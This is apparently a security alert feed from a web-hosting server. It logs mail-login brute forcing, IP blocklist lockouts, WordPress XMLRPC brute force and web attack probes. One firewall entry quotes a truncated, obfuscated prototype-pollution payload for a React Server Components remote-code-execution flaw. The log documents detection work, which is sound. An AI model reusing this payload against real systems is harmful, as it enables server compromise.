34.72.176.129 - - [13/Jun/2026:07:46:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038823&pdata=https%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336793 HTTP/2.0" 302 0 crepsad.tg "https://crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 13 07:46:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 13 07:47:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:46:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13710: 535 Incorrect authentication data (set_id=testuser01@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:46:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41180: 535 Incorrect authentication data (set_id=tomasz@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:46:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36996: 535 Incorrect authentication data (set_id=linkname@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 07:47:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:46:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.241.50
country_id: 1814991
description:
Jun 13 07:46:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.241.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 07:46:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:46:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:46:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25460: 535 Incorrect authentication data (set_id=klopez@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 13 07:47:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:47:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 13 07:47:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 07:48:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:48:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:47:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:47:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32910: 535 Incorrect authentication data (set_id=bitbucket@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 13 07:47:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:47:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:48:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:47:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32600: 535 Incorrect authentication data (set_id=f5@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.136
country_id: 1819730
description:
Jun 13 07:47:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 07:47:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 07:47:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 07:47:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 07:48:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:47:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35522: 535 Incorrect authentication data (set_id=spamtrap@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:48:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23710: 535 Incorrect authentication data (set_id=jennie@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:48:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20490: 535 Incorrect authentication data (set_id=frankie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:48:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 07:48:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:48:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11556: 535 Incorrect authentication data (set_id=adadmin@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [13/Jun/2026:07:48:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068134&pdata=http%253A%252F%252Fcloud-et-racks.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336905 HTTP/1.1" 302 0 cloud-et-racks.tg "http://cloud-et-racks.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:48:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:48:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.58
country_id: 1819730
description:
Jun 13 07:48:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:48:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:48:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8644: 535 Incorrect authentication data (set_id=idefix@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jun 13 07:48:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 13 07:49:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.204.75.102
country_id: 1269750
domain: sotranetogo.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sotragonet||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:49:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:49:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18690: 535 Incorrect authentication data (set_id=perl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:49:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:49:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:49:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49020: 535 Incorrect authentication data (set_id=testing2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:49:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:15468: 535 Incorrect authentication data (set_id=mandatory@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:50:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:58954: 535 Incorrect authentication data (set_id=gaspar@ns5.netmaster.tg)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: sophie-immobilier.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"reason\":-1,\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"ns_5b395949\":0,\"__f05af490\":\"fb2137562407366f\",\"ns_8a5ef6fd\":\"\",\"_response\":{\"_prefix\":\"var nt=arguments['\\\\x31'];var srag=nt;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:51:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:44718: 535 Incorrect authentication data (set_id=hashed@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:50:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:50:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:50:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:50:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9612: 535 Incorrect authentication data (set_id=amministrazione@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:50:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7122: 535 Incorrect authentication data (set_id=neighbor@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.87.251.7
country_id: 6252001
description:
35.87.251.7 - - [13/Jun/2026:07:51:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657385&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F341167fea77beadc2c68115c2bca1713%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781337078 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/341167fea77beadc2c68115c2bca1713/index.php?cmd=login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.102 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.87.251.7


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:51:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.afrikimpact-media.tg.lct-togo.tg
description:


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 130.49.77.35
country_id: 3017382
domain: www.togosem.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.togosem.com||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:51:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:51:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63138: 535 Incorrect authentication data (set_id=tek@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:51:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40164: 535 Incorrect authentication data (set_id=lima@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:51:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:51:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32638: 535 Incorrect authentication data (set_id=web0@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:52:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 130.49.77.35
country_id: 3017382
domain: www.togosem.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:sky.www.togosem.com||Method:blogger.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:52:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:52:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55742: 535 Incorrect authentication data (set_id=cgp@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:52:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:52:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:54598: 535 Incorrect authentication data (set_id=custom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:52:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:30942: 535 Incorrect authentication data (set_id=pride@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:53:41 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:53:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:47318: 535 Incorrect authentication data (set_id=pic\'s@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:53:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34042: 535 Incorrect authentication data (set_id=pic\'s@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:53:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46132: 535 Incorrect authentication data (set_id=is@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:53:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:53:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:46512: 535 Incorrect authentication data (set_id=agora@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:54:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:54:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37632: 535 Incorrect authentication data (set_id=orid@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:54:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:54:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:37288: 535 Incorrect authentication data (set_id=twitch@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:54:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11870: 535 Incorrect authentication data (set_id=tag@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:54:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:55:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:55:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33314: 535 Incorrect authentication data (set_id=apc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:55:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:55:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3614: 535 Incorrect authentication data (set_id=toni@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:55:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:29062: 535 Incorrect authentication data (set_id=apc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:55:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.227
country_id: 3469034
description:
Jun 13 07:55:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:55:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:28294: 535 Incorrect authentication data (set_id=louise@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.160.107
country_id: 99237
description:
Jun 13 07:57:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.160.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.97.4.215
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/grand-lome-un-guichet-consulaire-pour-les-operateurs-economiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.160.107
country_id: 99237
description:
2026-06-13 07:57:34 dovecot_plain authenticator failed for H=(bratious) [65.20.160.107]:41644: 535 Incorrect authentication data (set_id=admin@zephyr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.97.4.215
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/grand-lome-un-guichet-consulaire-pour-les-operateurs-economiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.168.151.158
country_id: 2363686
